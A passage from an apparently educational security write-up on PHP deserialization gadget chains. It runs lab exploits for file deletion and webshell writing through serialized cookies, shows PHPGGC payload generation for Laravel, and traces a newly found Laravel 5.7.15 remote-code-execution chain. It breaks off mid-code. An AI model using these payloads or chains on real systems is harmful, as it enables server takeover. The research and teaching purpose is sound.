<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=YToyOntpOjA7Tzo0OiJVc2VyIjoxOntzOjEwOiIAKgBsb2dmaWxlIjtzOjI0OiIvdmFyL3d3dy9odG1sL2R1bW15X2ZpbGUiO31pOjA7czoxNDoidXNlbGVzcyBzdHJpbmciO30=</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">11</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello Array
</code></pre></div>
<p>Let's try again to retrieve the file <span style="color:red">dummy_file</span>:</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/dummy_file</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">404</span> <span class="ne">Not Found</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">274</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=iso-8859-1</span>
<span class="cp"><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"></span>
<span class="p"><</span><span class="nt">html</span><span class="p">><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>404 Not Found<span class="p"></</span><span class="nt">title</span><span class="p">></span>
<span class="p"></</span><span class="nt">head</span><span class="p">><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span><span class="p">></span>Not Found<span class="p"></</span><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">p</span><span class="p">></span>The requested URL was not found on this server.<span class="p"></</span><span class="nt">p</span><span class="p">></span>
<span class="p"><</span><span class="nt">hr</span><span class="p">></span>
<span class="p"><</span><span class="nt">address</span><span class="p">></span>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 58080<span class="p"></</span><span class="nt">address</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>The file <span style="color:red">dummy_file</span> has been successfully deleted.</p>
<p>In itself, arbitrary file deletion is not something we would use, but some CMS
(Content Management System) rely on the existence of specific files to block
functionality related to the reinstallation or installation of a CMS. Deleting
these files would reactivate these features and often allow us to take control
of the server (Reinstall the CMS -> Access administration interface -> Add plugin
-> Execute code).</p>
<p>Let's take a look at the last vulnerability, partial writing of arbitrary files.</p>
<h4>Partial arbitrary file write</h4>
<p>As we described earlier, the function <code>__wakeup()</code> is called during the deserialization
process and is therefore a very good candidate for starting a gadget chain.</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_18.php"><span style="color:red">example_18.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">class User</span>
<span class="x">{</span>
<span class="x"> ...</span>
<span class="x"> function __wakeup()</span>
<span class="x"> {</span>
<span class="x"> $ufp = fopen($this->logfile, "a");</span>
<span class="x"> $message = "[*] User (" . $this->username . "), authentication status: " . $this->get_authentication_status() . "\n";</span>
<span class="x"> fwrite($ufp, $message);</span>
<span class="x"> fclose($ufp);</span>
<span class="x"> }</span>
<span class="x"> ...</span>
<span class="x"> function __destruct()</span>
<span class="x"> {</span>
<span class="x"> unlink($this->logfile);</span>
<span class="x"> }</span>
<span class="x">}</span>
<span class="x">...</span>
</code></pre></div>
<p>When we look at the use of attributes, it's easy to see that we're able to
arbitrarily create a file (via attribute <code>logfile</code>) and control part of its contents
(via attribute <code>username</code>), which allow us to write a Webshell to the location
we want. One difficulty that could have been encountered is that at the end of
script, the function <code>__destruct()</code> is executed, so the Webshell is deleted. To
make comprehension easy for beginners, the example calls the <code>sleep()</code> function
several times to simplify exploitation. If this wasn't the case, it would have
been possible to exploit the vulnerability by combining the deserialization
vulnerability with a race condition attack. In any case, it is obvious that in
this situation we do not want to take advantage of the fast destruct technique
as we want our Webshell to be present on the filesystem as long as possible in
order to make the time window necessary to the exploitation as large as possible.</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/gen_1.php"><span style="color:red">gen_1.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">public</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">protected</span> <span class="nv">$logfile</span><span class="p">;</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="s2">"<?php system('id') ?>"</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">logfile</span> <span class="o">=</span> <span class="s2">"/var/www/html/webshell.php"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$u</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">();</span>
<span class="nv">$so</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$u</span><span class="p">);</span>
<span class="nv">$bso</span> <span class="o">=</span> <span class="nb">base64_encode</span><span class="p">(</span><span class="nv">$so</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$bso</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>To generate the new gadget chain, simply execute the file <span style="color:red">gen_1.php</span>.</p>
<div class="highlight"><pre><span></span><code>Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2lkJykgPz4iO3M6MTA6IgAqAGxvZ2ZpbGUiO3M6MjY6Ii92YXIvd3d3L2h0bWwvd2Vic2hlbGwucGhwIjt9
</code></pre></div>
<p>First, let's check that file <span style="color:red">/var/www/html/webshell.php</span> doesn't exist:</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/webshell.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">404</span> <span class="ne">Not Found</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">274</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=iso-8859-1</span>
<span class="cp"><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"></span>
<span class="p"><</span><span class="nt">html</span><span class="p">><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>404 Not Found<span class="p"></</span><span class="nt">title</span><span class="p">></span>
<span class="p"></</span><span class="nt">head</span><span class="p">><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span><span class="p">></span>Not Found<span class="p"></</span><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">p</span><span class="p">></span>The requested URL was not found on this server.<span class="p"></</span><span class="nt">p</span><span class="p">></span>
<span class="p"><</span><span class="nt">hr</span><span class="p">></span>
<span class="p"><</span><span class="nt">address</span><span class="p">></span>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 58080<span class="p"></</span><span class="nt">address</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>Now, we can exploit the vulnerability by executing two HTTP requests simultaneously
(some kind of race condition):</p>
<p><ins>Request 1 (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_18.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2lkJykgPz4iO3M6MTA6IgAqAGxvZ2ZpbGUiO3M6MjY6Ii92YXIvd3d3L2h0bWwvd2Vic2hlbGwucGhwIjt9</span>
</code></pre></div>
<p><ins>Request 2 (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/webshell.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<blockquote>
<p>The response to request 2 arrives before the response to request 1.</p>
</blockquote>
<p><ins>Response 2 (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">93</span>
[*] User (uid=33(www-data) gid=33(www-data) groups=33(www-data)
), authentication status: ko
</code></pre></div>
<p><ins>Response 1 (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Date</span><span class="o">:</span> <span class="l">Wed, 31 Jan 2024 17:26:07 GMT</span>
<span class="na">Server</span><span class="o">:</span> <span class="l">Apache/2.4.38 (Debian)</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">27</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello <span class="cp"><?php system('id') ?></span>
</code></pre></div>
<p>All that remains is to check that the object destructor has been executed at the
end of the script <span style="color:red">example_18.php</span> and therefore our
Webshell has been correctly deleted.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/webshell.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">404</span> <span class="ne">Not Found</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">274</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=iso-8859-1</span>
<span class="cp"><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"></span>
<span class="p"><</span><span class="nt">html</span><span class="p">><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>404 Not Found<span class="p"></</span><span class="nt">title</span><span class="p">></span>
<span class="p"></</span><span class="nt">head</span><span class="p">><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">h1</span><span class="p">></span>Not Found<span class="p"></</span><span class="nt">h1</span><span class="p">></span>
<span class="p"><</span><span class="nt">p</span><span class="p">></span>The requested URL was not found on this server.<span class="p"></</span><span class="nt">p</span><span class="p">></span>
<span class="p"><</span><span class="nt">hr</span><span class="p">></span>
<span class="p"><</span><span class="nt">address</span><span class="p">></span>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 58080<span class="p"></</span><span class="nt">address</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>With all these information at your disposal, it's now up to you to exploit the
<code>uneserialize()</code> function and identify trivial gadget chains.</p>
<h2>In what context are gadget chains useful?</h2>
<p>Developers use frameworks and libraries in PHP as they provide a structured and
efficient way to build Web applications. Code organization and structure, rapid
development, security features, abstraction and simplification, community and
ecosystem, are reasons why they are so widely used.</p>
<p>In the context of security research and penetration testing, seeking gadget chain
within libraries and frameworks (such as those integrated into PHPGGC) can be
useful for several reasons. Understanding an attack surface, increasing the impact
of the deserialization vulnerability if the affected library or framework is
widely used (the number of projects using the affected library or framework can
be considerable). In short, the impact of this kind of gadget chain extends beyond
the boundaries of an individual application.</p>
<p>Popular PHP frameworks like Laravel, Symfony or CodeIgniter and libraries like
Monolog, Guzzle, Doctrine are referenced in PHPGGC for containing gadget chains.</p>
<h3>What is PHPGGC?</h3>
<p><a href="https://github.com/ambionics/phpggc">PHPGGC</a> (PHP Generic Gadget Chains) is a
tool designed by <a href="https://twitter.com/cfreal_">Charles Fol</a> to automate the
process of generating serialized payloads for leveraging PHP object injection
vulnerabilities. The tool comes with a collection of gadget chains for different
framework and libraries.</p>
<h4>Installing PHPGGC</h4>
<p>Ensure PHPGGC is installed on your system or fetch the latest version from the
GitHub <a href="https://github.com/ambionics/phpggc">repository</a>:</p>
<div class="highlight"><pre><span></span><code>git clone https://github.com/ambionics/phpggc
<span class="nb">cd</span> phpggc
</code></pre></div>
<h4>Listing available gadgets</h4>
<p>Run the following command to list available gadgets:</p>
<div class="highlight"><pre><span></span><code>./phpggc -l
</code></pre></div>
<p>Then, review the list of gadget chains, considering the context of the target
application to select an appropriate chain for exploitation.</p>
<h4>Selecting a gadget chain or test them all</h4>
<p>Choose a gadget chain that is suitable for the target application's context.
Consider factors like the PHP version, libraries in use and the desired payload.</p>
<div class="highlight"><pre><span></span><code>./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
...
Laravel/RCE20 <span class="m">5</span>.6 <<span class="o">=</span> <span class="m">10</span>.x RCE: Command __destruct
</code></pre></div>
<p>Then generate the serialized data.</p>
<div class="highlight"><pre><span></span><code>./phpggc -f -b Laravel/RCE20 system id
</code></pre></div>
<p>In the case of a black box pentest, we recommend to test them all in order to
maximize the chances for the exploit to succeed.</p>
<h3>How to identify a new gadget chain?</h3>
<p>It may seem basic but after reading this article you should be able to understand
what a gadget chain is. Gadget chain in the context of PHP security refers to
sequences of classes and methods that, when executed during the deserialization
process, lead to unintended consequences (like remote code execution). Understanding
this very concept is crucial for recognizing and crafting effective exploits.</p>
<p>Explore PHP frameworks and libraries and keep up to date with what's new.
Understand their architecture, components, and data handling mechanisms.
Analyze their documentation and release notes for security-related updates.
Search public repositories (e.g., GitHub) and exploit databases for existing gadget
chains related to a targeted framework or library. Analyze proof of concept code
and understand how different gadget chains operate by analyzing the relationships
between classes and methods during the deserialization flow. Think of it as a
puzzle, where most of the time you'll have to start with pieces <code>__wakeup()</code> or
<code>__destruct()</code>, but don't just grep for these functions either.</p>
<p>Before presenting the two tricks mentioned in the introduction, we'd like to make
a few concluding remarks.</p>
<p>Identifying new gadget chains in PHP frameworks and libraries involves a comprehensive
approach, including understanding the concept of gadget chains, exploring target
frameworks and libraries, researching existing chains, creating custom ones through
reverse engineering and code auditing. Continuous engagement with the security
community and staying informed about updates are essential components of an effective
research process.</p>
<h2>And Laravel in all this?</h2>
<p>During an engagement we had the opportunity to identify a new gadget chain within
<a href="https://laravel.com/">Laravel</a>. The target configuration was as follows:</p>
<ul>
<li>Target: Laravel (in debug mode)</li>
<li>Version: <a href="https://github.com/laravel/laravel/archive/refs/tags/v5.7.15.zip">5.7.15</a></li>
</ul>
<h3>Context</h3>
<p>When we made an HTTP POST request to the target <span style="color:blue">/index.php</span>,
the server responded with a status code <code>405</code> (Method Not Allowed) and as Laravel
was configured in <a href="https://laravel.com/docs/10.x/configuration#debug-mode">debug mode</a>,
it returned the environment variables linked to the PHP process within the debug
page content.</p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c7.png"></p>
<p><img alt="alt-text" src="resources/2024-02-06_laravel-gadget-chain/Captures/c8.png"></p>
<p>The <code>APP_KEY</code> environment variable is used to decrypt and encrypt cookies
within the Laravel framework. You can refer to <a href="https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/">Timo Muller</a>'s
work if you want to understand how it works. After reading his article we understood
that without authentication, we could control the first parameter of the PHP <code>unserialize()</code>
function via cookie deserialization (once they have been deciphered by the Web server).</p>
<p>We then set up our lab to reproduce the target's environment.</p>
<h3>Setup the lab for Laravel</h3>
<p>We used <code>docker ps</code> to find out which container corresponded to our Web server.</p>
<div class="highlight"><pre><span></span><code>docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
af863794da1b phpmyadmin <span class="s2">"/docker-entrypoint.…"</span> <span class="m">24</span> hours ago Up <span class="m">24</span> hours <span class="m">0</span>.0.0.0:8284->80/tcp, :::8284->80/tcp, <span class="m">0</span>.0.0.0:8285->443/tcp, :::8285->443/tcp lamp-phpmyadmin
8f6bd9c8c023 lamp_webserver <span class="s2">"docker-php-entrypoi…"</span> <span class="m">24</span> hours ago Up <span class="m">24</span> hours <span class="m">0</span>.0.0.0:8282->80/tcp, :::8282->80/tcp, <span class="m">0</span>.0.0.0:8283->443/tcp, :::8283->443/tcp, <span class="m">0</span>.0.0.0:8383->8000/tcp, :::8383->8000/tcp lamp-php74
4550cbf11682 lamp_database <span class="s2">"docker-entrypoint.s…"</span> <span class="m">24</span> hours ago Up <span class="m">24</span> hours <span class="m">127</span>.0.0.1:3306->3306/tcp, <span class="m">33060</span>/tcp lamp-mysql8
</code></pre></div>
<p>And placed ourselves in our container by executing the command:</p>
<div class="highlight"><pre><span></span><code>docker <span class="nb">exec</span> -it lamp-php74 bash
</code></pre></div>
<p>We ended up in the folder <span style="color:red">/var/www/html</span>.</p>
<p>Once at the server root within the docker container, we installed <code>composer</code> via
the following commands:</p>
<div class="highlight"><pre><span></span><code>php -r <span class="s2">"copy('https://getcomposer.org/installer', 'composer-setup.php');"</span>
php -r <span class="s2">"if (hash_file('sha384', 'composer-setup.php') === 'e21205b207c3ff031906575712edab6f13eb0b361f2085f1f1237b7126d785e826a450292b6cfd1d64d92e6563bbde02') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"</span>
php composer-setup.php
php -r <span class="s2">"unlink('composer-setup.php');"</span>
</code></pre></div>
<p>We then downloaded the version of Laravel we were interested in:</p>
<div class="highlight"><pre><span></span><code>wget https://github.com/laravel/laravel/archive/refs/tags/v5.7.15.zip
</code></pre></div>
<p>Decompressed the archive with:</p>
<div class="highlight"><pre><span></span><code>unzip v5.7.15.zip
</code></pre></div>
<p>And went to the folder <span style="color:red">laravel-5.7.15</span>:</p>
<div class="highlight"><pre><span></span><code><span class="nb">cd</span> laravel-5.7.15/
</code></pre></div>
<p>We installed Laravel by running the command:</p>
<div class="highlight"><pre><span></span><code>php ../composer.phar install --ignore-platform-req<span class="o">=</span>php
</code></pre></div>
<p>Copied file <span style="color:red">.env.example</span> to <span style="color:red">.env</span>,
executed the command <code>php artisan key:generate</code> (to generate a new <code>APP_KEY</code>), then within the file <span style="color:red">.env</span>,
replaced line:</p>
<p>File: <span style="color:red">.env</span></p>
<div class="highlight"><pre><span></span><code>...
SESSION_DRIVER=file
...
</code></pre></div>
<p>By</p>
<p>File: <span style="color:red">.env</span></p>
<div class="highlight"><pre><span></span><code>...
SESSION_DRIVER=cookie
...
</code></pre></div>
<p>We then started the Web server as follows:</p>
<div class="highlight"><pre><span></span><code>php artisan serve --host <span class="m">0</span>.0.0.0 --port <span class="m">8000</span>
</code></pre></div>
<blockquote>
<p>Note that port 58000 on the host is mapped to port 8000 on the container.</p>
</blockquote>
<p>The chain we've identified uses the objects:</p>
<ul>
<li><code>Illuminate\Routing\PendingResourceRegistration</code> (serves as a proxy to reach <code>Illuminate\Validation\Rules\RequiredIf::__toString()</code>)</li>
<li><code>Illuminate\Routing\ResourceRegistrar</code> (used to trigger <code>Illuminate\Routing\ResourceRegistrar::register()</code>)</li>
<li><code>Illuminate\Validation\Rules\RequiredIf</code> (serves as a proxy to reach <code>call_user_func()</code> whose first argument is controlled)</li>
<li><code>Illuminate\Auth\RequestGuard</code> (final call to <code>call_user_func()</code> whose all arguments are controlled)</li>
</ul>
<p>Let's take a look at what's happening in the chain.</p>
<h3>Trick 1: Use a class destructor as a proxy to trigger another magic method</h3>
<p>As we explained earlier, most gadget chains start with a call to method <code>__destruct()</code>,
precisely because it's possible to control when this function is triggered using
the fast destruct technique. However, as you'll notice in your research, it's not
common to obtain direct code execution when calling this method. This method acts
more as a trigger for the rest of the chain. Our advice is therefore as follows:</p>
<ul>
<li>Use <code>__destruct()</code> as a proxy for another magic method (for example <code>__toString()</code>)</li>
</ul>
<p>When an object is destroyed, its magic method <code>__destruct()</code> is called as we saw
before.</p>
<p>File: <span style="color:red">src/Illuminate/Routing/PendingResourceRegistration.php</span><br>
Class: <code>PendingResourceRegistration</code><br>
Functions: <code>__destruct()</code>, <code>register()</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Illuminate\Routing</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Support\Traits\Macroable</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">PendingResourceRegistration</span>
<span class="p">{</span>
<span class="k">use</span> <span class="nx">Macroable</span><span class="p">;</span>
<span class="o">...</span>
<span class="sd">/**</span>
<span class="sd"> * Register the resource route.</span>
<span class="sd"> *</span>
<span class="sd"> * @return \Illuminate\Routing\RouteCollection</span>
<span class="sd"> */</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">register</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">registered</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">registrar</span><span class="o">-></span><span class="na">register</span><span class="p">(</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">name</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">controller</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="na">options</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="sd">/**</span>
<span class="sd"> * Handle the object's destruction.</span>
<span class="sd"> *</span>
<span class="sd"> * @return void</span>
<span class="sd"> */</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nv">$this</span><span class="o">-></span><span class="na">registered</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">register</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>We can see that <code>$this->registrar</code> must at least be defined and be an instance of
class <code>ResourceRegistrar</code> in order to call function <code>register()</code>. Moreover, it
is clear that we control all the parameters of the function <code>register()</code> (
<code>$this->name</code>, <code>$this->controller</code>, <code>$this->options</code>).</p>
<p>File: <span style="color:red">src/Illuminate/Routing/ResourceRegistrar.php</span><br>
Class: <code>ResourceRegistrar</code><br>
Function: <code>register()</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Illuminate\Routing</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Support\Str</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">ResourceRegistrar</span>
<span class="p">{</span>
<span class="o">...</span>
<span class="sd">/**</span>
<span class="sd"> * Route a resource to a controller.</span>
<span class="sd"> *</span>
<span class="sd"> * @param string $name</span>
<span class="sd"> * @param string $controller</span>
<span class="sd"> * @param array $options</span>
<span class="sd"> * @return \Illuminate\Routing\RouteCollection</span>
<span class="sd"> */</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">register</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$controller</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$options</span> <span class="o">=</span> <span class="p">[])</span>
<span class="p">{</span>
<span class="o">...</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">Str</span><span class="o">::</span><span class="na">contains</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="s1">'/'</span><span class="p">))</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">prefixedResource</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$controller</span><span class="p">,</span> <span class="nv">$options</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">...</span>
<span class="p">}</span>
<span class="o">...</span>
</code></pre></div>
<p>Function <code>ResourceRegistrar::register()</code> call <code>Str::contains()</code> which triggers
function <code>__toString()</code> from <code>$name</code> wich we define as an <code>Illuminate\Validation\Rules\RequiredIf</code>
object.</p>
<p>File: <span style="color:red">src/Illuminate/Validation/Rules/RequiredIf.php</span><br>
Class: <code>PendingResourceRegistration</code><br>
Function: <code>__toString()</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Illuminate\Validation\Rules</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">RequiredIf</span>
<span class="p">{</span>
<span class="o">...</span>
<span class="sd">/**</span>
<span class="sd"> * Convert the rule to a validation string.</span>
<span class="sd"> *</span>
<span class="sd"> * @return string</span>
<span class="sd"> */</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">is_callable</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">condition</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">call_user_func</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">condition</span><span class="p">)</span> <span class="o">?</span> <span class="s1">'required'</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">condition</span> <span class="o">?</span> <span class="s1">'required'</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<h3>Trick 2: Call call_user_func() with an array as first parameter</h3>
<p>When we look at the function <a href="https://www.php.net/manual/en/language.oop5.magic.php"><code>call_user_func()</code></a>,
we realize that we can pass it an array as first parameter as shown in the example
below.</p>
<blockquote>
<p>call_user_func - Call the callback given by the first parameter</p>
<p><code>call_user_func(callable $callback, mixed ...$args): mixed</code></p>
</blockquote>
<p>File: <a href="https://www.php.net/manual/en/function.call-user-func#refsect1-function.call-user-func-examples">Example #4 Using a class method with call_user_func()</a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">myclass</span> <span class="p">{</span>
<span class="k">static</span> <span class="k">function</span> <span class="nf">say_hello</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello!</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$classname</span> <span class="o">=</span> <span class="s2">"myclass"</span><span class="p">;</span>
<span class="nb">call_user_func</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="nv">$classname</span><span class="p">,</span> <span class="s1">'say_hello'</span><span class="p">));</span>
<span class="nb">call_user_func</span><span class="p">(</span><span class="nv">$classname</span> <span class="o">.</span><span class="s1">'::say_hello'</span><span class="p">);</span>
<span class="nv">$myobject</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">myclass</span><span class="p">();</span>
<span class="nb">call_user_func</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="nv">$myobject</span><span class="p">,</span> <span class="s1">'say_hello'</span><span class="p">));</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>So we started looking for an object which, when we call one of its methods without
parameters, allows us to execute code.</p>
<p>File: <span style="color:red">src/Illuminate/Auth/RequestGuard.php</span><br>
Class: <code>RequestGuard</code><br>
Function: <code>user()</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">Illuminate\Auth</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Http\Request</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Contracts\Auth\Guard</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Support\Traits\Macroable</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Illuminate\Contracts\Auth\UserProvider</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">RequestGuard</span> <span class="k">implements</span> <span class="nx">Guard</span>
<span class="p">{</span>
<span class="k">use</span> <span class="nx">GuardHelpers</span><span class="p">,</span> <span class="nx">Macroable</span><span class="p">;</span>
<span class="o">...</span>
<span class="sd">/**</span>
<span class="sd"> * Get the currently authenticated user.</span>
<span class="sd"> *</span>
<span class="sd"> * @return \Illuminate\Contracts\Auth\Authenticatable|null</span>
<span class="sd"> */</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">user</span><span class="p">()</span>
<span class="p">{</span>
<span class="c1">// If we've already retrieved the user for the current request we can just</span>
